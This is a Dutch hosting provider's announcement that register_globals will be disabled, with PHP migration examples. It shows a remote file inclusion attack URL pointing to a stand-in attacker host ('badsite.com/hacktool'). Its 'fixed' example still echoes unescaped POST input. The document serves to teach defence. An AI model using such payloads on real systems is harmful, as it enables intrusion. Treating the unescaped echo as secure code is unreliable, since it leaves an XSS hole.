Nieuwsbericht

PHP: register_globals per 1 december uit

Met het verschijnen van PHP 4.1.0 is een aantal veiligheidsgerelateerde aanpassingen geïntroduceerd. Dit heeft (o.a.) als gevolg dat de onveilige instelling 'register_globals=on' bij voorkeur uit staat. Wij gaan deze standaardinstelling per 1 december 2006 overnemen op ons hosting- en serverplatform. Deze wijziging is mogelijk van invloed op de werking van uw php-scripts. Onderstaand wordt aan de hand van een voorbeeld uitgelegd waar u op moet letten bij het contoleren van uw scripts. Maar eerst iets meer over het gevaar van register globals.

Het gevaar van register globals

Veel scripts maken gebruik van één configuratiebestand dat vervolgens op elke pagina wordt opgeroepen. Bijvoorbeeld:

pagina.php
global $path;
require_once($path."/include/configuratie.php" );
		

Door het gebruik van register_globals kunnen kwaadwillenden heel eenvoudig een variabele meesturen en daarmee de include beïnvloeden:

pagina.php?path=http://www.badsite.com/hacktool
		

In plaats van het includen van configuratie.php wordt nu de code uitgevoerd (hacktool) die is meegestuurd. Wanneer register_globals uitstaan kunnnen kwaadwillenden nog steeds de code aan de URL toevoegen, maar omdat die dan niet als variabele beschikbaar komt, wordt de include niet beïnvloed. Dit is één van de belangrijkste redenen waarom bij het gebruik van register_globals niet langer meer kunnen toestaan.

Voorbeeld invulformulier

In onderstaand voorbeeld vragen we om de voornaam en versturen we de invoer naar resultaat.php

invulformulier.php
<html>
<head>
<title>Invulformulier</title>
</head>
<body>
<form name="formulier" method="post" action="resultaat.php">
Uw voornaam: <input type="text" name="voornaam" value="">
<input type="submit" name="submit" value="versturen">
</form>
</body>
</html>
		

Wanneer register globals aan staan, dan kunt u de variabele "voornaam" die wordt verstuurd rechtstreeks oproepen:

resultaat.php
<html>
<head>
<title>Resultaat</title>
</head>
<body>
Uw voornaam is <?php echo $voornaam; ?>
</body>
</html>
		

Echter, kwaadwillenden kunnen de variabele "voornaam" ook misbruiken voor andere doeleinden. Om dit tegen te gaan worden register globals uitgezet. Dit betekent dat bestaande scripts moeten worden aangepast en dat voortaan gebruik moet worden gemaakt van voorgedefinieerde variabelen:

resultaat.php
<html>
<head>
<title>Resultaat</title>
</head>
<body>
Uw voornaam is <?php echo $_POST['voornaam']; ?>
</body>
</html>
		

Zoals u in bovenstaand voorbeeld ziet is de variabele $voornaam gewijzigd in $_POST['voornaam']. Het uitschakelen van register globals is tevens van toepassing op get-, sessie- en cookie-variabelen. Deze variabelen zijn:

$_GET['waarde']
$_SESSION['waarde']
$_COOKIE['waarde']
		

Voor $_POST, $_GET en $_COOKIES kunt u ook de meer algemene $_REQUEST gebruiken (geldt niet voor $_SESSION)

Meer informatie

Meer informatie over het gebruik van register globals is te vinden op de website van php. Een aantal handige links zijn:

Terug naar het overzicht van nieuwsberichten

Keuzemenu